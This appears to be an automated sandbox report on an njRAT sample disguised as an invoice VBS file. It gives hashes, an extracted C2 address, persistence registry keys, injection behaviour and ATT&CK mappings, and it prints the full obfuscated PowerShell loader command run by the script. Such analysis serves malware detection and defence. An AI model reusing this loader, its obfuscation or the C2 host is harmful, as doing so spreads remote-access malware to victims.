njrat | 1e00836862dc8fc7fd742e9df49a8b0d141b391139bfb1c5a23f20413eb6d639

General

Target

Invoice #019972.vbs
Size

2KB
MD5

ee3daa79d7ac4570d146aceb38253293
SHA1

40b16db43a5c60e9f6a0ec49ab984698a3d1129b
SHA256

1e00836862dc8fc7fd742e9df49a8b0d141b391139bfb1c5a23f20413eb6d639
SHA512

6342d990ce3ea3ab94e2086cfda644d29bd5ea852da17f81b28b6d6a915ab0c31e9ea3580d302a43f277fdea68f1a8afe4be1c4343b89831b29f46b0bf1b70aa

Score

10^/10

njrat chem persistence suricata trojan

Malware Config

Extracted

Family

njrat

Version

v2.0

Botnet

CHEM

C2

petrol-chem108.duckdns.org:40225

Mutex

Windows

Attributes

reg_key
Windows
splitter
|-F-|

Signatures

njRAT/Bladabindi
Widely used RAT written in .NET.
trojan njrat
suricata: ET MALWARE Generic njRAT/Bladabindi CnC Activity (ll)
suricata: ET MALWARE Generic njRAT/Bladabindi CnC Activity (ll)
suricata
Blocklisted process makes network request 2 IoCs

Processes:

powershell.exe

flow pid process

8 1768 powershell.exe
23 1768 powershell.exe

flow	pid	process
8	1768	powershell.exe
23	1768	powershell.exe

Adds Run key to start application 2 TTPs 4 IoCs

persistence

Registry Run Keys / Startup Folder

T1060

Modify Registry

T1112

Processes:

aspnet_compiler.exe

description	ioc	process
Set value (str)	\REGISTRY\USER\S-1-5-21-2481030822-2828258191-1606198294-1000\Software\Microsoft\Windows\CurrentVersion\Run\Windows2 = "C:\\Users\\Admin\\AppData\\Roaming\\Microsoft\\Windows\\Templates\\Windows.URL"	aspnet_compiler.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\Run\Windows2 = "C:\\Users\\Admin\\AppData\\Roaming\\Microsoft\\Windows\\Templates\\Windows.URL"	aspnet_compiler.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2481030822-2828258191-1606198294-1000\Software\Microsoft\Windows\CurrentVersion\Run\Windows = "C:\\Users\\Admin\\AppData\\Roaming\\Microsoft\\Windows\\Templates\\Windows.URL"	aspnet_compiler.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\Run\Windows = "C:\\Users\\Admin\\AppData\\Roaming\\Microsoft\\Windows\\Templates\\Windows.URL"	aspnet_compiler.exe

Suspicious use of SetThreadContext 1 IoCs

Processes:

powershell.exe

description pid process target process

PID 1768 set thread context of 1856 1768 powershell.exe aspnet_compiler.exe
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082
Suspicious behavior: EnumeratesProcesses 3 IoCs

Processes:

powershell.exe

pid process

1768 powershell.exe
1768 powershell.exe
1768 powershell.exe

description	pid	process	target process
PID 1768 set thread context of 1856	1768	powershell.exe	aspnet_compiler.exe

pid	process
1768	powershell.exe
1768	powershell.exe
1768	powershell.exe

Suspicious use of AdjustPrivilegeToken 30 IoCs

Processes:

powershell.exeaspnet_compiler.exe

description	pid	process
Token: SeDebugPrivilege	1768	powershell.exe
Token: SeDebugPrivilege	1856	aspnet_compiler.exe
Token: 33	1856	aspnet_compiler.exe
Token: SeIncBasePriorityPrivilege	1856	aspnet_compiler.exe
Token: 33	1856	aspnet_compiler.exe
Token: SeIncBasePriorityPrivilege	1856	aspnet_compiler.exe
Token: 33	1856	aspnet_compiler.exe
Token: SeIncBasePriorityPrivilege	1856	aspnet_compiler.exe
Token: 33	1856	aspnet_compiler.exe
Token: SeIncBasePriorityPrivilege	1856	aspnet_compiler.exe
Token: 33	1856	aspnet_compiler.exe
Token: SeIncBasePriorityPrivilege	1856	aspnet_compiler.exe
Token: 33	1856	aspnet_compiler.exe
Token: SeIncBasePriorityPrivilege	1856	aspnet_compiler.exe
Token: 33	1856	aspnet_compiler.exe
Token: SeIncBasePriorityPrivilege	1856	aspnet_compiler.exe
Token: 33	1856	aspnet_compiler.exe
Token: SeIncBasePriorityPrivilege	1856	aspnet_compiler.exe
Token: 33	1856	aspnet_compiler.exe
Token: SeIncBasePriorityPrivilege	1856	aspnet_compiler.exe
Token: 33	1856	aspnet_compiler.exe
Token: SeIncBasePriorityPrivilege	1856	aspnet_compiler.exe
Token: 33	1856	aspnet_compiler.exe
Token: SeIncBasePriorityPrivilege	1856	aspnet_compiler.exe
Token: 33	1856	aspnet_compiler.exe
Token: SeIncBasePriorityPrivilege	1856	aspnet_compiler.exe
Token: 33	1856	aspnet_compiler.exe
Token: SeIncBasePriorityPrivilege	1856	aspnet_compiler.exe
Token: 33	1856	aspnet_compiler.exe
Token: SeIncBasePriorityPrivilege	1856	aspnet_compiler.exe

Suspicious use of WriteProcessMemory 10 IoCs

Processes:

WScript.exepowershell.exe

description	pid	process	target process
PID 2116 wrote to memory of 1768	2116	WScript.exe	powershell.exe
PID 2116 wrote to memory of 1768	2116	WScript.exe	powershell.exe
PID 1768 wrote to memory of 1856	1768	powershell.exe	aspnet_compiler.exe
PID 1768 wrote to memory of 1856	1768	powershell.exe	aspnet_compiler.exe
PID 1768 wrote to memory of 1856	1768	powershell.exe	aspnet_compiler.exe
PID 1768 wrote to memory of 1856	1768	powershell.exe	aspnet_compiler.exe
PID 1768 wrote to memory of 1856	1768	powershell.exe	aspnet_compiler.exe
PID 1768 wrote to memory of 1856	1768	powershell.exe	aspnet_compiler.exe
PID 1768 wrote to memory of 1856	1768	powershell.exe	aspnet_compiler.exe
PID 1768 wrote to memory of 1856	1768	powershell.exe	aspnet_compiler.exe

C:\Windows\System32\WScript.exe
"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\Invoice #019972.vbs"
1⤵
- Suspicious use of WriteProcessMemory
PID:2116

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" $HB='!` ~+ ~A ~$ `` `+ `^ ~^ `& `! `$ `E `A ~+ `` `^ `& `$ !0 +D !0 !& ^$ &` &` &0 +A !F !F +1 ++ !E +^ += !E +1 +& +~ !E +1 +1 +~ !F ^! &= &0 ^1 &+ &+ !E &` &$ &` !& +B 0D 0A !` `~ `` ~! `^ `& `$ `E `A `D `B `` `~ `^ `& `$ `A !0 +D !0 !& ^E `~ !D !D !D !D !D !D !D !D !D !D !D !D !D !D !D !D `~ ^! `+ !B !B !B !B !B !B !B !B !B !B !B !B !B !B !B !B ~` !& !E ~! ^~ &0 ^C ^1 ^+ ^~ !$ !& !D !D !D !D !D !D !D !D !D !D !D !D !D !D !D !D !& !C !& &` !E ~& !& != !E ~! ^~ &0 ^C ^1 ^+ ^~ !$ !& !B !B !B !B !B !B !B !B !B !B !B !B !B !B !B !B !& !C !& ^C `= `~ `E !& != +B 0D 0A !` ~+ ~$ `` `+ `^ ~^ `& `! `$ `E `A ~$ `` `+ `^ ~^ `& `! `$ `A `B !0 +D !0 !& `` `F !A !A !A !A !A !A !A !A !A !A !A !A !A ^1 `` ~+ ~` +C +C +C +C +C +C +C +C +C +E +E +E +E +E +E +E +E +E +E +E `& !& !E ~! ^~ &0 ^C ^1 ^+ ^~ !$ !& !A !A !A !A !A !A !A !A !A !A !A !A !A !& !C !& ~& ^E `C ^F !& != !E ~! ^~ &0 ^C ^1 ^+ ^~ !$ !& +C +C +C +C +C +C +C +C +C +E +E +E +E +E +E +E +E +E +E +E !& !C !& &! `= ^E !& != +B 0D 0A !` ~+ ~& ~$ `` `~ `+ ~! `^ `& ~= `$ ~~ `A `= ~+ `` `^ ~^ `& `$ `A !0 +D !& `= ^0 `~ ~$ !$ ^E ^0 !D !D !D !D !D !D !D !D !D !D !D !D !D ^0 ^+ ^0 ~` !0 !` `~ `` ~! `^ `& `$ `E `A `D `B `` +C +C +C +C +C +C +C +C +C +C +C +C +C +C +E +E +E +E +E +E +E +E +E +E +E +E +E +E `& `! `$ `E `A ~+ `` `^ `& `$ != !& !E ~! ^~ &0 ^C ^1 ^+ ^~ !$ !& !D !D !D !D !D !D !D !D !D !D !D !D !D !& !C !& ^~ ^0 ~& ^0 !D `F ^! ^A ^0 `~ !& != !E ~! ^~ &0 ^C ^1 ^+ ^~ !$ !& +C +C +C +C +C +C +C +C +C +C +C +C +C +C +E +E +E +E +E +E +E +E +E +E +E +E +E +E !& !C !& `~ `^ `& `$ `A != !E !` ~+ ~$ `` `+ `^ ~^ `& `! `$ `E `A ~$ `` `+ `^ ~^ `& `! `$ `A `B !$ !` ~+ ~A ~$ `` `+ `^ ~^ !& != +B 0D 0A !^ !$ !& `= !& !B !& `~ ~$ !& != !$ !` ~+ ~& ~$ `` `~ `+ ~! `^ `& ~= `$ ~~ `A `= ~+ `` `^ ~^ `& `$ `A !0 !D `A ^F ^= ^E !0 !& !& != &C !^ !$ !& `= !& !B !& `~ ~$ !& != +B'.Replace('!','2').Replace('`','4').Replace('^','6').Replace('+','3').Replace('~','5').Replace('&','7').Replace('$','8').Replace('=','9');Invoke-Expression (-join ($HB -split ' ' | ? { $_ } | % { [char][convert]::ToUInt32($_,16) }))
2⤵
- Blocklisted process makes network request
- Suspicious use of SetThreadContext
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:1768

C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe
"C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe"
3⤵
- Adds Run key to start application
- Suspicious use of AdjustPrivilegeToken
PID:1856

Network

MITRE ATT&CK Matrix ATT&CK v6

Initial Access

Execution

Persistence

Registry Run Keys / Startup Folder

1

T1060

Privilege Escalation

Defense Evasion

Modify Registry

1

T1112

Credential Access

Discovery

System Information Discovery

1

T1082

Lateral Movement

Collection

Exfiltration

Command and Control

Impact

Replay Monitor

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Downloads

memory/1768-131-0x000001A946BB0000-0x000001A946BB2000-memory.dmp

Filesize
8KB

Download
memory/1768-124-0x000001A946B90000-0x000001A946B92000-memory.dmp

Filesize
8KB

Download
memory/1768-117-0x000001A946B90000-0x000001A946B92000-memory.dmp

Filesize
8KB

Download
memory/1768-118-0x000001A946B90000-0x000001A946B92000-memory.dmp

Filesize
8KB

Download
memory/1768-119-0x000001A946B90000-0x000001A946B92000-memory.dmp

Filesize
8KB

Download
memory/1768-120-0x000001A946B90000-0x000001A946B92000-memory.dmp

Filesize
8KB

Download
memory/1768-121-0x000001A9628D0000-0x000001A9628D1000-memory.dmp

Filesize
4KB

Download
memory/1768-122-0x000001A946B90000-0x000001A946B92000-memory.dmp

Filesize
8KB

Download
memory/1768-123-0x000001A946B90000-0x000001A946B92000-memory.dmp

Filesize
8KB

Download
memory/1768-159-0x000001A946B90000-0x000001A946B92000-memory.dmp

Filesize
8KB

Download
memory/1768-125-0x000001A946B90000-0x000001A946B92000-memory.dmp

Filesize
8KB

Download
memory/1768-126-0x000001A962A80000-0x000001A962A81000-memory.dmp

Filesize
4KB

Download
memory/1768-127-0x000001A946B90000-0x000001A946B92000-memory.dmp

Filesize
8KB

Download
memory/1768-116-0x000001A946B90000-0x000001A946B92000-memory.dmp

Filesize
8KB

Download
memory/1768-156-0x000001A962A40000-0x000001A962A43000-memory.dmp

Filesize
12KB

Download
memory/1768-133-0x000001A946BB6000-0x000001A946BB8000-memory.dmp

Filesize
8KB

Download
memory/1768-144-0x000001A946BB8000-0x000001A946BB9000-memory.dmp

Filesize
4KB

Download
memory/1768-155-0x000001A946B90000-0x000001A946B92000-memory.dmp

Filesize
8KB

Download
memory/1768-115-0x0000000000000000-mapping.dmp

Download
memory/1768-132-0x000001A946BB3000-0x000001A946BB5000-memory.dmp

Filesize
8KB

Download
memory/1856-165-0x0000000005960000-0x0000000005961000-memory.dmp

Filesize
4KB

Download
memory/1856-158-0x000000000040838E-mapping.dmp

Download
memory/1856-162-0x0000000005300000-0x0000000005301000-memory.dmp

Filesize
4KB

Download
memory/1856-163-0x0000000005D80000-0x0000000005D81000-memory.dmp

Filesize
4KB

Download
memory/1856-164-0x0000000005470000-0x0000000005471000-memory.dmp

Filesize
4KB

Download
memory/1856-157-0x0000000000400000-0x000000000040E000-memory.dmp

Filesize
56KB

Download
memory/1856-166-0x0000000005910000-0x0000000005911000-memory.dmp

Filesize
4KB

Download
memory/1856-167-0x0000000005B60000-0x0000000005B61000-memory.dmp

Filesize
4KB

Download

Analysis

Sharing

General

Malware Config

Extracted

Signatures

Processes

Network

MITRE ATT&CK Matrix ATT&CK v6

Replay Monitor

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Downloads